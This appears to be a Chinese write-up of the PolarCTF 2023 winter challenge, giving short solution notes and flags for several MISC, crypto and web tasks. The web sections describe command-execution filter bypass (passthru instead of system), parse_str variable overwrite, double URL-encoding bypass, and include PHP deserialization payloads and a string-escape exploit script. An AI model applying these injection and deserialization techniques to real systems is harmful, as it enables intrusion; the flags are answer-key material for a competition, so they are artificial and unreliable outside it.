标签:polarctf passwd WriteUp echo flag user cyi public 本题
PolarCTF网络安全2023冬季个人挑战赛
WRITE UP
PolarCTF网络安全个人挑战赛组委会 制
目录
第一部分:MISC 1
1-1 签到喵 1
1-4 机密 4
第二部分:CRYPTO 7
2-5 base 11
第三部分:WEB 13
3-1 cool 13
3-2 cookie欺骗 14
3-4 干正则 16
3-7 随机值 19
3-8 phpurl 20
3-10 你想逃也逃不掉 22
第一部分:MISC
1-1 签到喵
本题思路如下:
Flag.txt
兽音译者解密
跑脚本,扫一扫,发送,拿下flag{www.PolarCTF.com}
|
1-4 机密
本题思路如下:
经典搜flag起手
追踪流,发现有个rar文件,找
提取rar文件,爆破一下
flag{d72e5a671aa50fa5f400e5d10eedeaa5}
|
第二部分:CRYPTO
2-5 base
本题思路如下:
见过类似题
|
第三部分:WEB
3-1 cool
本题思路如下:
eval命令执行,过滤system,用passthru,先ls,看到当前目录有flag.php,命令执行*匹配
flag{4512esfgsdIirhgui82545er4g5e5rg4er1}
|
3-2 cookie欺骗
本题思路如下:
没啥好说,cookie伪造
|
3-4 干正则
本题思路如下:
审计源码,有个parse_str变量覆盖,之后就是命令执行
经典ctrl u
|
www.polarctf.com<pre><?php
|
|
$flag = "flag{e44882416c9fa79cc5a6a51e6e19cdbc}";
|
|
?>
|
|
</pre>
|
|
3-7 随机值
本题思路如下:
审计发现只要反序列化出的变量和服务器rand函数后的值一样,过两层rand,原本是想着服务器的rand可能每次随机都是那个值,当在自己phpstorm执行发现好像不一样,就想着bp抓包后一直爆同一个随机数,迟早能出来,然后先在phpstorm中先开成员变量权限,输出反序列化字符串,结果无缘无故就结束了。
<?php class Index{ // private $Polar1; // private $Polar2; // protected $Night; // protected $Light; public $Polar1; public $Polar2; public $Night; public $Light;
function getflag($flag){ $Polar2 = rand(0,100); if($this->Polar1 === $this->Polar2){ $Light = rand(0,100); if($this->Night === $this->Light){ echo $flag; } } else{ echo "Your wrong!!!"; } } }
$a = new Index(); $a->Polar1=1; $a->Night=1; echo serialize($a);
Payload:sys=O:5:"Index":4:{s:6:"Polar1";i:1;s:6:"Polar2";N;s:5:"Night";i:1;s:5:"Light";N;}
flag{d81f9c1be2e08964bf9f24b15f0e4900}
|
3-8 phpurl
本题思路如下:
给的1.txt
在某次渗透测试中,红队使用网站目录探测工具发现网站源码泄漏,该文件名疑似名被加密:aW5kZXgucGhwcw。
题目是phpurl,phps是php的源码
审计源码,刚开始想着用0弱类型比较,发现出不来,不知道为什么。有个urldecode,可以二次编码绕过,在进入第一个xxs匹配时被服务器url解码一次,之后再解码一次成xxs
Welcome to polar LABS!
Flag: flag{5caecd63b7dca4bcee15d262eb3af4f4}
what can you find?
|
3-10 你想逃也逃不掉
本题思路如下:
经典字符串逃逸,变少例子
<?php
class u{ public $username; public $passwd; public $sign; }
error_reporting(0); highlight_file(__FILE__); function filter($string){ return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string); } //$user['username'] = $_POST['name']; //$user['passwd'] = $_GET['passwd']; $user['sign'] = '123456';
$user = new u(); $user->username='phtmlphtmlphtmlphtml'; $user->passwd=';s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}'; $user->sign="123456"; $ans = filter(serialize($user)); //if(unserialize($ans)[sign] == "ytyyds"){ // echo file_get_contents('flag.php'); //} echo serialize($user); echo $ans; echo '<br/>'; echo strlen('";s:6:"passwd";s:46:');
Ctrl u
<?php
|
|
$flag = 'flag{84sgsg4s5d4e5fse3kj5451dssgsfd45}';
|
|
?>
|
|
标签:polarctf,
passwd,
WriteUp,
echo,
flag,
user,
cyi,
public,
本题
From: https://www.cnblogs.com/xhzccy/p/17988388